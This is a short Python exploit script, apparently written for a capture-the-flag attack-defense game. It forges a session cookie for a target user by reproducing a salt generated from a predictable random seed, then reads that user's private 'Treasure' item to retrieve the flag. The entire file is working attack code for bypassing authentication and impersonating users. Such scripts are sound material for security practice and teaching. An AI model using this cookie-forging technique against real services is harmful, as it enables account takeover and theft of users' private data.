exploit_cookie.py

#!/usr/bin/env python3

import sys
import requests
import random
import hashlib
import base64
import json

def exploit(ip, flag_id):
    user_id = flag_id
    s = requests.Session()
    username = s.get(f'http://{ip}:5000/api/user/{user_id}').json()["user"]
    
    random.seed(user_id)
    salt = bytes([random.getrandbits(8) for _ in range(16)])
    salted_hash = hashlib.sha256(salt + str(user_id).encode()).hexdigest()
    cookie = base64.b64encode(json.dumps({
        "username": username,
        "user_id": user_id,
        "salted_hash": salted_hash
    }).encode()).decode()
    
    items = s.get(f'http://{ip}:5000/api/user/items', cookies={'session': cookie}).json()["items"]

    for item in items:
        if item["name"] == "Treasure":
            return item["personal_description"]
            
    return "No flag found"


if __name__ == "__main__":
    ip = sys.argv[1]
    flag_id = sys.argv[2]
    print(exploit(ip, flag_id))